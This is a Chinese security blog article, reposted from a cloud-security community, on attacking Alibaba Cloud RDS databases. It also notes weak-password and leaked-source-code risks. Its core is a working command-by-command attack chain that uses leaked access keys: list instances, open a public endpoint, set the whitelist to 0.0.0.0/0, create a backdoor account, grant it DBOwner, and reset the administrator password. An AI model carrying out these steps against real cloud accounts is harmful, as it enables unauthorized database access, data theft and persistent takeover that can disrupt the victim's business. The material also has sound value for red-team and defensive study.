遇到RDS如何利用?阿里云RDS攻防

admin 2022年4月27日10:06:45安全文章评论12 views2353字阅读7分50秒阅读模式

文章首发于:

火线Zone社区(https://zone.huoxian.cn/)


一、RDS存在的风险


1、弱口令

其实在设置密码的时候可以发现,设置的密码是强制大写加小写字母与数字的,如果这样组合,其实不一定存在弱口令,但是试了一下Qwe123123这种密码,发现居然可以,那么就可以确定,至少存在键盘弱口令的。


遇到RDS如何利用?阿里云RDS攻防


虽然实战中遇到的几率很小,但是至少也是一个问题。


2、源码泄露


遇到RDS如何利用?阿里云RDS攻防


这个在实战中碰到的次数比较多,不过大部分都有一些局限的情况

1、服务部署在VPC内网,没有申请公网访问地址,所以无法通过公网连接,只能在VPC中通过内网地址连接

2、白名单的问题,如果想公网通过地址连接需要满足两个条件

  • 申请了公网地址,并且泄露

  • 白名单设置为0.0.0.0/0


遇到RDS如何利用?阿里云RDS攻防


不过在一次红蓝中,通过公网的GIT泄露发现了泄露的源码,也就是上图,RDS和内网IP的数据库都无法连接,不过在打进云上内网后,通过frp,使用这些地址是可以连接的。


遇到RDS如何利用?阿里云RDS攻防


3、密钥泄露如何进行利用


3.1、获取所有DB实例


aliyun rds DescribeDBInstances


遇到RDS如何利用?阿里云RDS攻防


此时会列出所有的RDS信息,可以看到所在的地区,连接的地址,版本,服务类型,我们注意到有一个DBInstanceID,然后我们可以使用以下命令获取指定实例ID下更详细的信息


aliyun rds DescribeDBInstanceAttribute --DBInstanceId xxxx


遇到RDS如何利用?阿里云RDS攻防


这里可以看到实例的安全组等


3.2、申请公网访问地址

查看是否存在公网访问地址


aliyun rds DescribeDBInstanceNetInfo --DBInstanceId xxx


遇到RDS如何利用?阿里云RDS攻防


在这里我们可以看到RDS的访问地址,如果不存在公网访问地址的话,我们可以申请一个。


下图就是没有公网地址的返回结果

遇到RDS如何利用?阿里云RDS攻防


那么我们尝试申请一个

申请公网访问地址

aliyun rds AllocateInstancePublicConnection --DBInstanceId xxxx --Port 1433 --ConnectionStringPrefix uzjuse


遇到RDS如何利用?阿里云RDS攻防


可以看到我们申请了一个公网地址,尝试访问试试


遇到RDS如何利用?阿里云RDS攻防


遇到RDS如何利用?阿里云RDS攻防

此时我们还无法访问,所以要添加白名单


3.3、添加白名单

查询指定RDS白名单


aliyun rds DescribeDBInstanceIPArrayList --DBInstanceId xxx


在添加白名单之前,我们首先要先查看一下白名单,在下图中可以看到,白名单显示,只允许127.0.0.1访问,下面一条是阿里云的默认安全组,用来做备份用的


遇到RDS如何利用?阿里云RDS攻防


为指定实例添加白名单


aliyun rds ModifySecurityIps --DBInstanceId xxxxx --SecurityIps 0.0.0.0/0


遇到RDS如何利用?阿里云RDS攻防

遇到RDS如何利用?阿里云RDS攻防


3.4、创建账号

我们可以通过以下命令查询当前RDS中有哪些用户


aliyun rds DescribeAccounts --DBInstanceId xxx


遇到RDS如何利用?阿里云RDS攻防


aliyun rds CreateAccount --AccountName UzJuSecTest --AccountPassword Qwe123123 --DBInstanceId xxxx


遇到RDS如何利用?阿里云RDS攻防

遇到RDS如何利用?阿里云RDS攻防


那么如果这个时候,我们连接上去,看到一个数据库,没有权限怎么办?


遇到RDS如何利用?阿里云RDS攻防


3.5、为账号添加数据库权限

查询数据库有哪些


aliyun rds DescribeDatabases --DBInstanceId xxx


在为自己添加权限之前,我们需要知道,我们想看哪个数据库,或者从上面NaviCat的链接信息中也可以看到。


遇到RDS如何利用?阿里云RDS攻防


为自己添加uzju数据库的权限


aliyun rds GrantAccountPrivilege --AccountName UzJuSecTest --AccountPrivilege DBOwner --DBName uzju --DBInstanceId xxx


遇到RDS如何利用?阿里云RDS攻防

遇到RDS如何利用?阿里云RDS攻防

现在我们已经拥有了这个数据库的操作权限


3.6、直接修改高权限账号的密码

那么既然我们上面的步骤很繁琐,可不可以直接修改管理员的密码呢,答案是可以的,不过在真实环境中,修改管理员密码有可能会对业务造成不可挽回的后果。


aliyun rds ResetAccountPassword --AccountName uzju --AccountPassword Qwe123123 --DBInstanceId


遇到RDS如何利用?阿里云RDS攻防


在之前我们已经知道了Super账号的用户名,那么我们将密码修改为Qwe123123,随后尝试连接。


遇到RDS如何利用?阿里云RDS攻防


遇到RDS如何利用?阿里云RDS攻防


遇到RDS如何利用?阿里云RDS攻防


二、总结


RDS的攻击面基本都来自于用户侧配置问题,并且很多RDS都不会放在公网,而是在VPC的内网中,那么我们如果在公网中找到一个泄露了RDS账号与密码,可以保留起来,打进内网的时候也许能派上用场,并且在AK泄露的时候,我们也是需要拥有一定的权限,才可以做这些操作。

遇到AK泄露,常规的利用方法无非就是三种

  1. 手动去调API(费时费力,属于盲猜的一种形式)

  2. 用行云管家这种工具

  3. 自己写工具,体力活,堆API



【火线Zone云安全社区群】

进群可以与技术大佬互相交流

进群有机会免费领取节假日礼品

进群可以免费观看技术分享直播

识别二维码回复【社区群】进群

遇到RDS如何利用?阿里云RDS攻防


【火线Zone社区周激励】

2022.4.18~ 2022.4.24公告

遇到RDS如何利用?阿里云RDS攻防


【相关精选文章】


遇到RDS如何利用?阿里云RDS攻防


遇到RDS如何利用?阿里云RDS攻防


遇到RDS如何利用?阿里云RDS攻防

火线Zone是[火线安全平台]运营的云安全社区,内容涵盖云计算、云安全、漏洞分析、攻防等热门主题,研究讨论云安全相关技术,助力所有云上用户实现全面的安全防护。欢迎具备分享和探索精神的云上用户加入火线Zone社区,共建一个云安全优质社区!

如需转载火线Zone公众号内的文章请联系火线小助手:hxanquan(微信)


遇到RDS如何利用?阿里云RDS攻防

//  火线Zone //

微信号 : huoxian_zone


遇到RDS如何利用?阿里云RDS攻防

点击阅读原文,加入社区,共建一个有技术氛围的优质社区!

原文始发于微信公众号(火线Zone):遇到RDS如何利用?阿里云RDS攻防

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月27日10:06:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  遇到RDS如何利用?阿里云RDS攻防 http://cn-sec.com/archives/948608.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: